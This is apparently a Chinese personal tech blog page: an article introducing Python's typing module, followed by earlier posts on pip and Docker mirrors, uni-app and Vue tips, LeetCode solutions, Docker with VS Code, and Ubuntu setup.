探索 Python 的 Typing 库:增强代码健壮性

Python 的 typing 库自 Python 3.5 引入,为动态类型的 Python 带来了静态类型注解功能,使开发者能够编写更健壮、可维护的代码。本文将深入探讨 typing 模块的主要功能、优势以及实用示例。

为什么使用类型注解?

类型注解通过明确声明变量、函数参数和返回值的预期类型,提升了代码的可读性、可维护性和可靠性。它们支持像 mypy 这样的静态类型检查工具,在运行前捕获潜在错误。此外,类型注解还能增强 IDE 对自动补全和重构的支持,提高开发效率。

开始使用 Typing 库

typing 模块提供了丰富的工具来定义类型注解。以下是一些常用功能的介绍。

基本类型注解

类型注解可用于变量、函数参数和返回值,语法简单直观。

from typing import List, Dict

# 变量注解
name: str = "Alice"
age: int = 30

# 带类型注解的函数
def greet(person: str) -> str:
    return f"你好,{person}!"

在此例中,name 声明为 str 类型,ageint 类型,greet 函数接受一个 str 参数并返回一个 str。使用 mypy 等静态类型检查工具可以确保类型使用正确。

集合类型的复杂注解

typing 模块支持对列表、字典和元组等集合类型的复杂注解。

from typing import List, Dict, Tuple

# 整数列表
numbers: List[int] = [1, 2, 3, 4]

# 字符串键和浮点值字典
scores: Dict[str, float] = {"Alice": 95.5, "Bob": 87.0}

# 指定类型的元组
point: Tuple[int, int, str] = (10, 20, "原点")

这些注解清楚地表明了集合内元素的预期类型,减少歧义和潜在错误。

📅 2025-09-29
stabilityai/stable-diffusion-3-medium 试用体验
在当今的科技领域,人工智能和深度学习技术的发展日新月异。其中,稳定扩散模型(Stable Diffusion Model)作为一种强大的生成模型,在图像生成、视频处理等领域展现出了巨大的潜力。而 ComfyUI 则是一款功能强大的图形用户界面,为用户提供了便捷的操作和可视化的工作流程。 本文将详细介绍如何在 ComfyUI 中安装和使用稳定扩散模型,并通过实际案例展示其在图像生成方面的应用。无论你是初学者还是有一定经验的开发者,都可以通过本文了解到稳定扩散模型的基本原理和使用方法,从而为你的研究和项目提供有力的支持。
📅 2024-06-21
在 Windows 下使用 Python virtualenv的教程
在 Python 开发中,使用虚拟环境是一种常见的最佳实践。它可以帮助我们在同一台计算机上管理多个具有不同依赖关系的项目,避免依赖冲突和版本混乱。本文将介绍如何在 Windows 系统下使用 Python 的 virtualenv 工具创建和管理虚拟环境,并提供一些实用的技巧和建议。
📅 2024-06-07
Python venv:创建虚拟环境及生成 requirements.txt
在 Python 开发中,管理项目的依赖是一项重要的任务。为了避免不同项目之间的依赖冲突,我们通常会使用虚拟环境来隔离每个项目的依赖。Python 的 venv 模块就是一个用于创建虚拟环境的工具。在本文中,我们将介绍如何在 Windows 环境下使用 venv 模块创建虚拟环境,并生成 requirements.txt 文件来管理项目的依赖。
📅 2024-05-19

在使用 Python 进行开发时,我们经常会用到 pip 来安装各种包。但有时默认的源下载速度可能较慢,这时候配置国内的镜像源就很有必要了。这里介绍如何在 Windows 系统中配置 pip 的清华源。

第一步:创建配置文件

在你的用户目录下(一般是 C:\Users\你的用户名),可以通过在资源管理器的地址栏输入 %appdata% 后回车快速打开 appdata 文件夹。创建一个名为 pip 的文件夹,然后在该文件夹内创建一个名为 pip.ini 的文件。

第二步:编辑配置文件

用文本编辑器打开 pip.ini 文件,在其中添加以下内容:

[global]
index-url = https://pypi.tuna.tsinghua.edu.cn/simple

第三步:验证配置

打开命令提示符,输入 pip install 某个包,观察下载速度是否有所提升。如果配置成功,下载速度应该会比之前快很多。

📅 2024-05-15
游戏设计模式之组件模式
我第一次接触到组件模式是在饥荒的mod开发过程中了解到的。在组件模式下,一系列的能力(如灯光,buff)将会被抽象为组件,组件内部实现这种能力。不同的对象都可以使用这一个组件,提高代码的复用性,避免耦合性过强。
📅 2023-06-04
Vue3使用customRef()主动触发响应更新
在vue3中(尤其是setup语法)vue框架会自动处理事件响应。但是假设有个场景,我们实现了一个数据结构,只要触发对应操作时,就刷新视图。这个问题在选项式API有个公共API,提供强制刷新能力,那就是`$forceUpdate()`。`$forceUpdate()`会全量刷新,而且组合式API不支持该方法,这个时候如果我们想主动触发视图更新,可以使用Vue3提供的customRef()自定义一个ref。
📅 2022-12-12
在程序设计领域,模块就是为完成某一个功能的一段程序或者子程序 一个文件可以是一个模块,一个文件夹也可以是一个模块。模块的思想完美的符合了设计模式中的单一职责原则。只做一件事,或者一类事,分清任务的边界。
📅 2022-06-15
vue3.x简单实现wx.showModal()
开发过微信小程序的同学想必都对wx.showModal不陌生。用起来还是比较方便的,以api的形式挂载在全局对象wx上,只需调用一下这个api即可显示一个弹窗,还可以根据设置的参数做一些定制。一些知名的组件库,也实现了此类功能。比如element的$message。所以,我也来分享一个简单实现方式,以此来加深对Vue的理解。
📅 2020-11-30
box-sizing是什么?
笔者初学前端时,遇到一些具有padding/border的子元素铺满父元素时,常常采用人工计算width的方式来实现效果。知道后来了解到box-sizing,才知道那种实现方式是多么的尴尬!
📅 2020-09-20
Vue自定义指令
Vue中的指令形如v-*,如v-if,v-show,v-model等。同时,除了Vue自带的一些默认指令外,Vue同时运行用户自定义指令,来扩展指令功能。
📅 2020-09-20

引言:此方法可用作大部分微信小程序支持,但uni-app文档中却找不到相关说明的API

需求

需要在微信小程序中,实现一个中间图标突出显示的异形导航栏。

如下图

2019-08-14T09:17:36.png

实现方法设计

要做这种异形的导航栏,用直接在配置文件里面写list的方法肯定做不到。那么,就有以下两种可替代方法。

  1. 在每一个页面都加载一个tabBar组件,与页面同时渲染。

  2. 设置自定义tabBar,修改tabBar的样式。

优缺点分析:方法1实现起来略为简单,但是会出现代码可重用率低,降低性能,已经界面跳动等问题。方法2则是微信官方提供的,自定义方式,相信在性能方面也会有很大的优势。故选择方法2。

1. 查看文档及官方Demo

官方文档

简要描述一下就是需要在根目录中加入一个custom-tab-bar目录,里面的文件结构与自定义组件的结构一致。然后再在小程序配置文件中修改tabbar为custom模式。

官方代码

主要重点为三个部分

  • 配置文件

配置文件

  • custom-tab-bar目录

2019-08-14T09:25:15.png

  • 页面生命周期中的设置索引方法

2019-08-14T09:26:43.png

这段代码其实很容易理解,pageLifetimes就是监听组件所在页面的生命周期。上述代码就是监听页面显示。当页面显示后,获取到tabBar的对象,然后再设置tabBar中的index索引。

2. 迁移到uni-app框架

上面的方法是使用微信小程序的开发方式,而我使用的是uni-app框架开发微信小程序的。所以我们需要把它们移植到uni-app框架内。

  • 配置文件的修改

uni-app中,page.json被编译为微信小程序的app.json。所以,我们直接修改page.json

page.json所需要的修改

  • custom-tab-bar目录的适配

我们知道,uni-app使用的是类Vue开发,将一个Vue文件编译为四个微信页面文件(wxml,wxss,json,js)。那么,是否可以直接写一个custom-tab-bar.vue的文件呢?刚开始我也是这么想的,后来发现uni-app只会编译page目录和component目录下的vue文件。而微信小程序要求custom-tab-bar必须在项目的根目录下。那么就只能在uni-app下创建一个custom-tab-bar目录,并老老实实写微信四件套了。

custom-tab-bar目录的适配

写完后,uni-app会将该目录完美的复制至微信小程序项目的根目录。

  • tab页面内的适配方法

这个在我实际开发中,是最令我头痛的了。因为微信小程序的this引用与uni-app的this引用并不相同。所以如果直接复制代码是会编译出错的。而另一个问题则是,uni-app并未提供pageLifetimes的事件监听。

在我经过一番摸索之后,发现将设置索引方法写在onShow事件里面,效果是等效的。接下来便只剩下this的问题了。

如果直接复制的话,会出现无任何效果的情况

直接复制设置方法

因为uni-app的this引用不一样,所以它在判断getTabBar的时候,获取的是“undefined”所以不会执行下面的操作。如果你将判断去掉,则会直接报“undefined”错误。

难道实现不了?其实不然,万变不离其宗。uni-app也是编译到小程序的,所以绝对有迹可循。

我们首先看看uni-app里面this的内容。

this的指向内容

我们可以很明显的看到里面有个$mp的对象,说明这应该是微信小程序专用的对象。接下来我们继续分析$mp

$mp的指向内容

这里面有一个隐藏很深的getTabBar方法,我们直接调用它,和在微信小程序里面调用this.getTabBar是等效的。

所以我们就可以把onShow里面的内容写成这样。

设置索引方法

一些优雅点的封装

设置索引方法独立出来

在methods对象中,添加


setTabBarIndex(index){

			if (typeof this.$mp.page.getTabBar === 'function' &&

				this.$mp.page.getTabBar()) {

				this.$mp.page.getTabBar().setData({

					selected:index

				})

			}

		}

使用mixin避免重复书写复制

main.js中,添加


Vue.mixin({

	methods:{

		setTabBarIndex(index){

			if (typeof this.$mp.page.getTabBar === 'function' &&

				this.$mp.page.getTabBar()) {

				this.$mp.page.getTabBar().setData({

					selected:index

				})

			}

		}

	}

})

混入后的使用

在页面文件中

📅 2020-07-10
Django启航篇

安装pip3


sudo apt-get install python3-pip

安装Django


sudo pip3 install django

验证安装

2019-03-26T06:49:38.png

创建项目


django-admin startproject convert

运行


python3 manage.py runserver

2019-03-26T07:53:45.png

📅 2020-06-30
 Vue按需引入element ui笔记

按官网文档一键配置按需引入总是无法生效,目测可能是激进式预设没有选babel的原因。故写此文详细记录折腾过程,望有效!

vue ui创建新项目

选择预设,bable,eslint,vuex,vue-router(历史模式)

vue ui安装element插件

选择配置

2020-05-01T03:05:01.png

改动的内容

  1. 自动创建了bable.config.js,并添加了内容。

  2. 创建了`@/src/plugins/element.js,设置了按需引入

  3. 改写了app.vue,添加了element按钮组件

运行测试

2020-05-01T03:10:21.png

加载成功

2020-05-01T03:11:11.png

Q&A

  1. 为什么需要bable来支持按需加载

如果不使用bable转码,那你按需引入会找不到该组件。这是由于bable在将组件库转码的过程中把element整个组件库编译成了各种独立的组件模块,进而实现按需加载的功能

  1. 如何添加需要的组件

使用vue ui添加后的组件会在plugins目录下创建element.js文件,然后在main.js中引入该文件。文件内容如下:


import Vue from "vue";

import { Button } from "element-ui";



Vue.use(Button);

这就是只引入Button的方法,如果要按需添加,只需要依葫芦画瓢即可!

📅 2020-06-23
Vue cli 笔记

2020-04-19T02:47:53.png

安装

全局安装@vue/cli


yarn global add @vue/cli

检查是否安装成功(需重启更新环境变量)


vue --version

2020-04-19T02:36:37.png

快速原型开发

新版本Vue中增加了该功能,方便快速进行单个Vue文件开发,需要先额外安装一个全局的扩展。


yarn global add @vue/cli-service-global

入手尝鲜

新建index.vue文件


<template>

    <div>Hello Vue</div>

</template>

运行服务


vue serve index.vue

效果

2020-04-19T02:47:22.png

创建项目

vue.config.js

在vue cli 3.x/4.x 中,使用vue.cofig.js来进行一些包括webpack的配置。比如我们可以想要一个控制台输出编译时间的配置,可以在如下设置


const moment = require('moment')



module.exports = {

  chainWebpack: config => {

    config

      .plugin('html')

      .tap(args => {

        args[0].title = '三只蜜桔后台管理系统·商户版',

        args[0].buildTime = moment().format('YYYY.MM.DD.HH.mm')

        return args

      })

  }

}

亦或者,我们想要在生产环境禁用console.log


const moment = require('moment')



module.exports = {

  chainWebpack: config => {

    config

      .plugin('html')

      .tap(args => {

        args[0].title = '三只蜜桔后台管理系统·商户版',

        args[0].buildTime = moment().format('YYYY.MM.DD.HH.mm')

        return args

      })

    config.optimization

      .minimizer('terser')

      .tap(args => {

        Object.assign(args[0].terserOptions.compress, {

          pure_funcs: ['console.log']

        })

        return args

      })

  },

  productionSourceMap: false,

  configureWebpack: {

    output: {

      filename: `${moment().format('YYYY.MM.DD.HH.mm')}.${process.env.NODE_ENV}.[name].js`,

      chunkFilename: `${moment().format('YYYY.MM.DD.HH.mm')}.${process.env.NODE_ENV}.[name].js`

    }

  }

}
📅 2020-06-23

前言

由于各种终端屏幕风格,大小迥异,由此而生衍生出了自适应页面设计。如果我们需要在各种机型上显示的风格比例一致,而解决屏幕大小不同显示内容不同的问题的话,我们需要对各种屏幕比例做适配。本文就该问题分享一种可行性方案。

由于以前做的移动端页面大部分为小程序页面,小程序采用相对像素(rpx)实现响应式适配。故本文也采用类似思想(rem)。

1. rem是什么

在W3C官网上是这样描述rem的——“font size of the root element”

即相对根节点(html)的字体大小,那么解决方案的思路就立马来了。根据不同的屏幕大小,设置不同的html字体大小,这样其他使用rem单位的元素即会随之自适应的改变大小。

2. 计算根节点(html)字体大小

2.1 JS方案

思路就是使用js获取窗口宽度,然后根据宽度计算对应的font-size。根据一般常识,js为了不影响页面体验,应在文档末尾添加。但此处为了避免HTML渲染完成后,使用JS动态修改字体而造成的页面抖动问题。我们应该将该JS元素节点放置于header底部,并内联到html文档里面。例如

在Vue中直接修改template.html即可


<script type="text/javascript">

    (function (doc, win) {

      var docEl = doc.documentElement,

        resizeEvt = 'orientationchange' in window ? 'orientationchange' : 'resize',

        recalc = function () {

          var clientWidth = docEl.clientWidth;

          docEl.style.fontSize = 100 * (clientWidth / 750) + 'px';

        };

      if (!doc.addEventListener) {

        return;

      }

      win.addEventListener(resizeEvt, recalc, false);

      doc.addEventListener('DOMContentLoaded', recalc, false);

      recalc()

    })(document, window)

</script>

该代码段监听页面尺寸改变事件,根据对应窗口大小(clientWidth)除以一个基准(750),进而调整html的font-size。在本例下,375的屏幕中1rem=50px。

2.2 CSS方案

采用媒体查询,适配不同宽度,代码略。

Vue配置px自动转rem

postcss-plugin-px2rem介绍

A plugin for PostCSS that generates rem units from pixel units.

也就是说,使用该插件可以自动的将你写px单位转为rem单位,而且不用担心污染问题,因为可以设置选择黑名单。

安装postcss-plugin-px2rem


yarn add postcss-plugin-px2rem

配置

待补充

📅 2020-04-19
让你的网站防广告屏蔽

前言

相信小伙伴们对广告是又爱又恨,一方面不想接受广告的荼毒,另一方面也想接点广告赚点流量收益。由此而来衍生出了两个技术,屏蔽广告与防屏蔽广告。

2020-04-14T09:05:00.png

屏蔽广告

2020-04-14T09:07:07.png

防屏蔽

原理

我们要想做到网站广告不被人屏蔽,首先就要理解屏蔽广告的原理。

1.初阶屏蔽

含ad,推广等字样的js或者class类就直接拦截或者不显示

2.高阶屏蔽

我也不会,但是高阶屏蔽肯定是可以屏蔽低阶广告的。

那么根据这个原理,我们可以发现。只要我们写一个很low很low的广告,然后监听它是否成功加载,如果没有,则跳转页面或者不显示内容。

实现

1. 制造广告

先写一个一眼就能看出来是广告的js文件,例如把js文件名命名

为"adview_pic_cpc_cpm_cpa_guanggao_gg_ads_300x250.js"。广告二字赤裸裸的写着,广告的韵味呼之欲出。

2. 定义变量

在js里面定义一个变量,比如:


var adskilltest=true;

3. 监听广告变量

页面文件中读取该变量

不管怎么样,只要被拦截,那就肯定是undefined。让个极其肤浅的广告命名,来检测是否有屏蔽广告,这叫引蛇出洞!

2020-04-14T09:20:46.png

大功告成!

4. 后续操作

既然被拦截,就要做出点反应。有了反应之后呢,还需要保存当时浏览的页面连接。我的解决方法是写一个noads.html负责显示被拦截后的内容以及保存跳转前的链接。


<!DOCTYPE html>

<html>

<head>

<meta charset="UTF-8">

<title>温馨提示</title>

</head>

<body>

<p>网站内容被识别为广告,已被屏蔽。请禁用广告屏蔽后点击下面链接哦!</p>

<a href="#" id="a">我已关闭广告屏蔽功能</a>

</body>

<script>

	function getQueryVariable(variable)

{

       var query = window.location.search.substring(1);

       var vars = query.split("&");

       for (var i=0;i<vars.length;i++) {

               var pair = vars[i].split("=");

               if(pair[0] == variable){return pair[1];}

       }

       return(false);

}

document.getElementById("a").href = getQueryVariable('route');

</script>

</html>

tips: 该方法不是最优,但是可行!

📅 2020-04-14
【leetcode】5. Longest Palindromic Substring最长回文子串

5. Longest Palindromic Substring最长回文子串

解法1:中心拓展算法

思路

首先,我们知道回文串一定是对称的,所以我们可以选择一个对称中心,进行左右扩展,判断左右字符是否相等即可。

由于存在奇数的字符串和偶数的字符串,所以我们需要从一个字符开始扩展,或者从两个字符之间开始扩展,所以总共有 n+n-1 个中心。

实现代码


class Solution:

    def longestPalindrome(self, s: str) -> str:

        n = len(s)

        Max,sub = 0,s[0:1]

        for i in range(n):

            tmp = self.searchPalindrome(i-1,i+1,s)

            if len(tmp) > Max:

                Max = len(tmp)

                sub = tmp

            tmp = self.searchPalindrome(i-1,i,s)

            if len(tmp) > Max:

                Max = len(tmp)

                sub = tmp    

        return sub

    

    def searchPalindrome(self, left: int, right: int, s: str) -> int:

        sub = ""

        while left != -1 and right != len(s):

            if s[left] == s[right]:

                sub = s[left:right+1]

                left-=1

                right+=1

            else : break

        return sub

马拉车算法


class Solution:

    # Manacher 算法

    def longestPalindrome(self, s: str) -> str:

        # 特判 

        if len(s) < 2 or s == s[::-1]:

            return s



        # 得到预处理字符串

        t = "#" + "#".join(s) + "#"



        # 新字符串的长度

        t_len = len(t)



        # 数组 p 记录了扫描过的回文子串的信息

        p = [0]*t_len



        # 双指针,它们是一一对应的,须同时更新

        max_right = 0

        center = 0



        # 当前遍历的中心最大扩散步数,其值等于原始字符串的最长回文子串的长度

        max_len = 1

        # 原始字符串的最长回文子串的起始位置,与 max_len 必须同时更新

        start = 1



        for i in range(t_len):

            if i < max_right:

                mirror = 2 * center - i

                # 这一行代码是 Manacher 算法的关键所在,要结合图形来理解

                p[i] = min(max_right - i, p[mirror])



            # 下一次尝试扩散的左右起点,能扩散的步数直接加到 p[i] 中

            left = i - (1 + p[i])

            right = i + (1 + p[i])



            # left >= 0 and right < t_len 保证不越界

            # t[left] == t[right] 表示可以扩散 1 次

            while left >= 0 and right < t_len and t[left] == t[right]:

                p[i] += 1

                left -= 1

                right += 1



            # 根据 max_right 的定义,它是遍历过的 i 的 i + p[i] 的最大者

            # 如果 max_right 的值越大,进入上面 i < max_right 的判断的可能性就越大,这样就可以重复利用之前判断过的回文信息了

            if i + p[i] > max_right:

                # max_right 和 center 需要同时更新

                max_right = i + p[i]

                center = i



            if p[i] > max_len:

                # 记录最长回文子串的长度和相应它在原始字符串中的起点

                max_len = p[i]

                start = (i - max_len) // 2

        return s[start: start + max_len]

成果

2020-01-19T15:04:32.png

📅 2020-02-06
【leetcode】4. Median of Two Sorted Arrays寻找两个有序数组的中位数

【leetcode】4. Median of Two Sorted Arrays寻找两个有序数组的中位数

我的初次实现


class Solution:

    def findMedianSortedArrays(self, nums1: List[int], nums2: List[int]) -> float:

        newList = nums1 + nums2

        newList.sort()

        result = 0

        if(len(newList)%2 != 0) :

            result = newList[math.ceil(len(newList)/2-1)]

        else:

            index = int(len(newList)/2)

            result = (newList[index] + newList[index-1])/2

        return result

成果

2020-01-16T13:40:45.png

问题

但是我们仔细观察,可以发现这个的时间复杂度是不够的。

📅 2020-01-22
【leetcode】2. Add Two Numbers两数相加

【leetcode】2. Add Two Numbers两数相加

描述

给出两个 非空 的链表用来表示两个非负的整数。其中,它们各自的位数是按照 逆序 的方式存储的,并且它们的每个节点只能存储 一位 数字。

如果,我们将这两个数相加起来,则会返回一个新的链表来表示它们的和。

您可以假设除了数字 0 之外,这两个数都不会以 0 开头。

示例:


输入:(2 -> 4 -> 3) + (5 -> 6 -> 4)

输出:7 -> 0 -> 8

原因:342 + 465 = 807

思路

我看到这个题的第一感觉就是用递归把数获取出来,然后再相加,之后再把得数结构化。问题就被细分为了两个方面:

  1. 加数的提取

  2. 得数的结构化

我的初次实现


class Solution:

    def getStr(self,node: ListNode) -> str:

        if node.next == None:

            return node.val

        else:

            last = self.getStr(node.next)

            return  str(last) + str(node.val)



    def addTwoNumbers(self, l1: ListNode, l2: ListNode) -> ListNode:

        num1 = self.getStr(l1)

        num2 = self.getStr(l2)

        result = int(num1) + int(num2)

        resultList = list(str(result))

        tmp = ListNode(int(resultList.pop(0)))

        List = tmp

        while resultList:

            tmp = ListNode(int(resultList.pop(0)))

            tmp.next = List

            List = tmp

        return List

成果

成果

📅 2020-01-16
【leetcode】3. Longest Substring Without Repeating Characters无重复字符的最长子串

题目描述

思路

查找无重复的字符子串,然后滑动窗口

初次解

每次滑动一格窗口


class Solution:

    def isUnique(self, s: str) -> bool:

        for ch in s:

            if s.count(ch) > 1:

                return False

            else:

                continue

        return True

    def lengthOfLongestSubstring(self, s: str) -> int:

        i,j,Max=0,0,0

        j+=1

        while j <= len(s):

            if self.isUnique(s[i:j]):

                print(s[i:j],"is Unique",i,j)

                Max=max(j-i,Max)

                j+=1

            else:

                i+=1

        return Max

成果

第一次优化


class Solution:

    def lengthOfLongestSubstring(self, s: str) -> int:

        if(len(s)==1): 

            return 1

        i,j,Max=0,0,0

        while j <= len(s):

            st = s[i:j+1]

            if(j+1 < len(s)):

                index = st.find(s[j+1])

                if index > -1:

                    i+=(index+1)

                j+=1

                Max=max(j-i+1,Max)

            else:

                break

        return Max

成果

2020-01-15T07:27:31.png

📅 2020-01-16
【leetcode】1. two sum两数之和

leetcode(1): two sum

Description

Given an array of integers, return indices of the two numbers such that they add up to a specific target.

You may assume that each input would have exactly one solution, and you may not use the same element twice.

Example:


Given nums = [2, 7, 11, 15], target = 9,



Because nums[0] + nums[1] = 2 + 7 = 9,

return [0, 1].

0. My solution(Brute Force)


var twoSum = function(nums, target) {

    for(let i = 0; i < nums.length; i++) {

        for(let j = 0; j < nums.length; j++) {

            if(nums[i] + nums[j] === target && i != j) {

                return [i, j]

            }

        }

    }

};

· Time complexity: O(n^2), For each element, I try to find its complement by looping through the rest of array which takes O(n)*O(n) time. Therefore, the time complexity is O(n^2).

📅 2020-01-15
docker容器的自定义修改并重新构建镜像

前言

在上篇文章中,我们已经实现了VS code的无缝连接docker,却依旧存在着一些问题。比如它需要安装pylint方便调试,但是每次stop 容器之后,重新启动又需要重新安装,不可谓不麻烦。而且我发现它也需要重新安装VS code server,这是一个严重影响生产力的过程。所以目前的需求就变了如何作一些自定义的修改,并让这些修改永久性的保存。那答案当然是自定义的构建镜像啦,它可以让我们在构建的实践使用容器的过程中,将所做的更新持续化保存到自定义镜像。

自定义修改

在这里,我手动做了两个修改,一个是安装pylint,一个是更新pip

自定义修改容器

提交更改


docker commit -m="install pylint" -a="chauncey" tf chauncey/tf 

如上命令,将所有对容器的操作都保存至自定义镜像chauncey/tf 中。

测试效果

  1. 停止当前容器

docker stop tf
  1. 使用自定义镜像创建容器

docker run --gpus all -itd --name tf --rm -v ~/Project:/root/Project  chauncey/tf  
  1. 使用VS code远程连接,观察pip版本和pylint的安装情况。

pip版本和pylint的安装情况

如上图,我们发现pip已经是最新的版本。而且细心小伙伴会发现,连接容器时以及没有了install Dev container的提示了,这说明我们的VS code也已经预设安装进了镜像。

📅 2020-01-02
Vscode无缝连接docker支持与主机文件同步

为什么需要?

我们在上一篇Ubuntu深度学习的相关配置中最后讲到,将工作目录下的文件装载到了容器之下,这样我们在主机中编写一个文件,如tf.py。在容器中执行,需要输入以下命令。


docker exec tf python './tf.py' 

这样每改一下文件,想要看效果的话,就需要输入以上命令。而且,还不方便调试。然后,我就在想能不能做到像我平常写代码那样,在VScode中,点一下就运行,而且可以调试呢?于是便有了本文。

准备工作

  • 安装好VScode并且保证互联网连接正常。然后将工作目录装载到容器的/root/Project目录下,不然/tmp的文件实在是太乱七八糟了。

docker run --gpus all -itd --name tf --rm -v ~/Project:/root/Project  tensorflow/tensorflow:latest-gpu-py3

操作流程

首先安装两个插件dockerRemote Development

VScode的docker插件

上图中可以看到tensorflow的容器已经处于运行中了,然后再打开Remote Development

Remote Development

显示有一个容器待连接,然后选择它,打开容器中的Project文件夹

VScode in Container

然后安装Python插件和调试工具,修改tf.py文件


import tensorflow as tf

print("hello tensorflow")

点击右边的运行图标,成功输出。

run tensorflow

打开主机文件

docker主机文件同步

发现修改也已经同步,Over,现在可以愉快的写代码了。

📅 2020-01-02
Ubuntu深度学习的相关配置

tensorflow

安装NVIDIA驱动

  1. 查看显卡信息

ubuntu-drivers devices
  1. 自动安装显卡驱动

sudo ubuntu-drivers autoinstall
  1. 确认是否安装成功

nvidia-smi

安装docker

安装文档

使用阿里源安装


# step 1: 安装必要的一些系统工具

sudo apt-get update

sudo apt-get -y install apt-transport-https ca-certificates curl software-properties-common

# step 2: 安装GPG证书

curl -fsSL http://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add -

# Step 3: 写入软件源信息

sudo add-apt-repository "deb [arch=amd64] http://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable"

# Step 4: 更新并安装Docker-CE

sudo apt-get -y update

sudo apt-get -y install docker-ce



# 安装指定版本的Docker-CE:

# Step 1: 查找Docker-CE的版本:

# apt-cache madison docker-ce

#   docker-ce | 17.03.1~ce-0~ubuntu-xenial | http://mirrors.aliyun.com/docker-ce/linux/ubuntu xenial/stable amd64 Packages

#   docker-ce | 17.03.0~ce-0~ubuntu-xenial | http://mirrors.aliyun.com/docker-ce/linux/ubuntu xenial/stable amd64 Packages

# Step 2: 安装指定版本的Docker-CE: (VERSION例如上面的17.03.1~ce-0~ubuntu-xenial)

# sudo apt-get -y install docker-ce=[VERSION]

tips: 由于使用的是19.10版本,暂时没有对应的源,故手动将step 3切换至19.04

📅 2019-12-20
Ubutnu使用问题记录贴

安装软件未满足依赖关系

安装软件curl时提示以下内容


下列软件包有未满足的依赖关系:

 curl : 依赖: libcurl4 (= 7.64.0-2ubuntu1.2) 但是 7.65.3-1ubuntu3 正要被安装

E: 无法修正错误,因为您要求某些软件包保持现状,就是它们破坏了软件包间的依赖关系。

这是由于版本不符的导致的,可能是以前卸载的时候未卸载干净。所以我们需要使用purge选项来重新卸载一次。


sudo apt-get purge libcurl4

然后重新安装,解决问题!!

Ubutnu安装软件未满足依赖关系

执行bash命令提示bash: /dev/fd/63: 没有那个文件或目录

bash: /dev/fd/63: 没有那个文件或目录

原因:<(…)运算符称为进程替换,是运行命令的一种方式,其输出进入匿名管道。这就是/dev/fd/63。其思想是允许外部命令(这里是bash)将另一个命令输出视为一个文件。通常形式是使用<将伪文件对象重定向到bash的输入流中。

解决方案,使用两个<

解决方案,使用两个<

用户不在sudo列表

别问为什么出现这个问题,,,

解决方法

  1. 重启进恢复模式

  2. 选择root用户

  3. 添加用户至sudo组


adduser username sudo

系统没有设置图标

ubuntu没有设置.png

天哪,为啥我的电脑老是出现些奇怪的问题。

解决方法

  1. -sudo apt update-

  2. sudo apt install gnome-control-center

系统修复设置

📅 2019-12-20
Ubuntu使用阿里云加速docker pull

使用 Docker 时需要首先下载一个官方镜像,例如 mysql、wordpress。然而由于网络原因,下载一个 Docker 官方镜像可能会需要很长的时间,甚至下载失败。为此,阿里云容器镜像服务提供了官方的镜像站点,从而加速官方镜像的下载。

登陆阿里云容器镜像服务

阿里云容器镜像服务

由上图可以看到,阿里给我们分配的专享加速域名。

配置docker源

针对Docker客户端版本大于 1.10.0 的用户

可以通过修改daemon配置文件/etc/docker/daemon.json来使用加速器

不过默认没有这个文件的,所以我们需要新建一个

新建daemon.json


sudo mkdir -p /etc/docker

sudo touch /etc/docker/daemon.json

设置源地址


{

    "registry-mirrors": ["<your accelerate address>"]

}            

重启生效


sudo systemctl daemon-reload

sudo systemctl restart docker            

Ubuntu使用阿里云加速docker pull

大功吿成!!

📅 2019-12-19
ubuntu安装后需要做的事情

1. 安装chrome


sudo wget http://www.linuxidc.com/files/repo/google-chrome.list -P /etc/apt/sources.list.d/

wget -q -O - https://dl.google.com/linux/linux_signing_key.pub  | sudo apt-key add -

sudo apt update

sudo apt install google-chrome-stable

19年12月18日:现在觉得火狐也不错

2. 安装Shadowsocks

不然美化界面太慢了

3. 美化界面参考链接

安装工具


sudo apt-get update

sudo apt-get install gnome-tweak-tool

sudo apt-get install gnome-shell-extensions

sudo apt-get install  gnome-shell-extension-dashtodock

2018-12-24 14-21-29 的屏幕截图.png

3. 安装搜狗输入法ubuntu 18.04 LTS 安装搜狗输入法

实在是不喜欢默认输入法

4. 换阿里源

1. 先备份源


sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak

2. 删除原文件


sudo rm -f /etc/apt/sources.list

3. 新建源文件


sudo vi /etc/apt/sources.list

4. 添加内容


deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse

deb-src http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse

deb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse

deb-src http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse

deb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse

deb-src http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse

deb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse

deb-src http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse

deb http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse

deb-src http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse

2019-03-28T03:03:08.png

📅 2019-12-18
## 引言

人工智能时代并未真正来临

弱人工智能与强人工智能

部分行业的受益

AI不等于全能

弱人工智能的原理

为什么最近几年才兴起人工智能

数据量的数字记录与硬件设备的飞速发展

那些让人工智能受挫的领域

📅 2019-12-09

介绍

无监督学习允许我们在处理问题时几乎不知道结果应该是什么样子,我们可以从数据中获得结构,而不必知道变量的作用。我们可以根据数据中变量之间的关系对数据进行聚类,从而得到这种结构。在无监督学习中,没有基于预测结果的反馈。也就是说,机器可以在你提供的数据中主动的去分析,总共有几类?哪些数据属于什么类?

📅 2019-12-09

What is Machine Learning?

Two definitions of Machine Learning are offered.

  1. Arthur Samuel described it as: “the field of study that gives computers the ability to learn without being explicitly programmed.” This is an older, informal definition.

  2. Tom Mitchell provides a more modern definition: “A computer program is said to learn from experience E with respect to some class of tasks T and performance measure P, if its performance at tasks in T, as measured by P, improves with experience E.”

📅 2019-12-09

说到交通网路的模拟化表示,那就不得不用到数据结构中的图。想必这应该是最方便形象的表示方法了把。

图的概念

图是由顶点集合及顶点之间关系的集合组成的一种数据结构,Graph = (V,E)。

其中顶点集合V = { x | x ∈ 某个数据对象集}是个有穷非空集合。E = { <x, y> | x , y ∈ V && Path( x , y )} ,即边集。

我所知的图的存储结构

邻接矩阵表示

邻接矩阵的表示,首先将所有的顶点信息组成一个表。然后利用一个矩阵来表示各顶点之间的相邻关系,称之为邻接矩阵。

邻接表表示

